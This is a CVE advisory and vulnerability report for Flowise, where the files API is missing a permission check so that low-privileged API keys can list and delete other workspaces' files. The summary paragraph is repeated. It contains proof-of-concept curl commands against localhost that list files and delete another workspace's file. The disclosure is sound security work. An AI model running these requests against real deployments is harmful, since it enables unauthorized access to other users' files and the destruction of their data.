CVE-2026-69252

Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.3, the /api/v1/files route was protected only by the feat:files feature gate and did not enforce checkPermission on GET or DELETE. A low-privileged authenticated API key with unrelated permissions could call GET /api/v1/files to list files under the organization storage root and DELETE /api/v1/files?path=... to delete files belonging to other workspaces in the same organization because getAllFiles and deleteFile used activeOrganizationId and a user-controlled path without restricting access by permissions or activeWorkspaceId. This issue is fixed in version 3.1.3.

Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.3, the /api/v1/files route was protected only by the feat:files feature gate and did not enforce checkPermission on GET or DELETE. A low-privileged authenticated API key with unrelated permissions could call GET /api/v1/files to list files under the organization storage root and DELETE /api/v1/files?path=... to delete files belonging to other workspaces in the same organization because getAllFiles and deleteFile used activeOrganizationId and a user-controlled path without restricting access by permissions or activeWorkspaceId. This issue is fixed in version 3.1.3.

# summary: In Flowise, the `/api/v1/files` route is protected only by the `feat:files` feature gate and does not enforce `checkPermission(...)` on either `GET` or `DELETE`. As a result, any authenticated API key within the organization, even one with unrelated permissions, can list and delete files belonging to other workspaces in the same organization. # details: The `/files` route is mounted with `IdentityManager.checkFeatureByPlan('feat:files')` only and has no additional permission middleware. In the controller: - `getAllFiles` uses only `req.user.activeOrganizationId` and calls `getFilesListFromStorage(activeOrganizationId)`, which recursively lists files under the organization storage root - `deleteFile` reads `activeWorkspaceId`, but only uses it for storage quota bookkeeping; the actual deletion is performed using `activeOrganizationId + user-controlled path` As a result, the API key’s `permissions` and `activeWorkspaceId` are not used to restrict file access. In the local test environment,an API key bound to workspace `1592b32a-a11b-4996-80b6-e1c4c2969d88` with only `["tools:view"]` was created, then successfully: - called `GET /api/v1/files` and received `200 OK` - listed a test file stored under a different workspace, `f92a9a4d-392e-4db2-af82-d14e1d553446` - called `DELETE /api/v1/files?path=f92a9a4d-392e-4db2-af82-d14e1d553446/poc-cross-workspace.txt` and received `200 OK` - confirmed the file was removed by re-querying the file list # impact: Any low-privileged API key holder within the same organization can list and delete files from other workspaces without any file-specific permission. This breaks workspace isolation inside the organization and can lead to unauthorized file access and destructive tampering. # reproduction steps: 1. Log in as a user who can create API keys, and create a key with only an unrelated permission, for example: ```bash curl -i -b tamako.cookie \ -H 'x-request-from: internal' \ -H 'Content-Type: application/json' \ -d '{"keyName":"poc-files-noperm","permissions":["tools:view"]}' \ http://localhost:8080/api/v1/apikey ``` 2. Record the returned API key. In my local test, the key was: - `ykT6h4Q-u2PZDJmy2kMLWWKL_N42u8mHfYSvHC5Ja0E` 3. Prepare a test file under a different workspace within the same organization, for example: - `f92a9a4d-392e-4db2-af82-d14e1d553446/poc-cross-workspace.txt` 4. Use the low-privileged API key to list files: ```bash curl -i \ -H 'Authorization: Bearer ykT6h4Q-u2PZDJmy2kMLWWKL_N42u8mHfYSvHC5Ja0E' \ http://localhost:8080/api/v1/files ``` 5. Observe a `200 OK` response that includes a file from another workspace, for example: ```json [{"name":"poc-cross-workspace.txt","path":"f92a9a4d-392e-4db2-af82-d14e1d553446/poc-cross-workspace.txt","size":19}] ``` 6. Use the same API key to delete that file: ```bash curl -i -X DELETE --get \ -H 'Authorization: Bearer ykT6h4Q-u2PZDJmy2kMLWWKL_N42u8mHfYSvHC5Ja0E' \ --data-urlencode 'path=f92a9a4d-392e-4db2-af82-d14e1d553446/poc-cross-workspace.txt' \ http://localhost:8080/api/v1/files ``` 7. Observe a `200 OK` response: ```json {"message":"file_deleted"} ``` 8. Call `GET /api/v1/files` again and confirm that the file is no longer present.